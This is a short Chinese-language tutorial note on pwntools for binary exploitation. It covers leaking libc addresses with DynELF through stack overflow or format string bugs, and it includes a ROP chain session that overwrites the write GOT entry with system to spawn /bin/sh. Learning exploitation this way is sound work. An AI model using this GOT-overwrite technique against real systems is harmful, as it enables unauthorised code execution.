pwntools.pdf官网说明文档太烂,demo几乎没啥代表性,使用起来特别多的bug。
1. DynELF(self, leak, pointer=None, elf=None, libcdb=True)
官网例子是leak function p.read(addr,4),见鬼,如果这样写,妈的猜测时间可能几天都没效果。
leak函数目的在于read addr relative memory content,最好是使用代码漏洞来lead addr relative memory content,如stack overflow/format string bug来漏洞addr 相关内存内容。
通常在栈上构造write(1,addr,len)调用,返回addr地址对应的内存content
2.DynELF return 数据应该是Iterator型,如return 地址类型时,不能用u32/u64做unpack,需要使用原返回数据以lead one byte内容。
3.通常场景,如通过read函数串改其它函数got内容,再调用被串改函数时,串改和调用得在一个rop里面send,sleep(x),再send要串改的内容
In [223]: rop = ROP(elf)
In [224]: rop.raw('a'*140)
In [225]: rop.read(constants.STDIN_FILENO,elf.got['write'],4)
In [226]: rop.call(elf.plt['write'],[binsh_addr])
In [227]: p.send(str(rop)) ######rop call chain()
In [228]: sleep(1)
In [229]: p.send(p32(system_addr)) #####单独向process stdin send内容。
read(constants.STDIN_FILENO)会使调用block,直到stdin有内容读取,只有读取内容后才continue后继call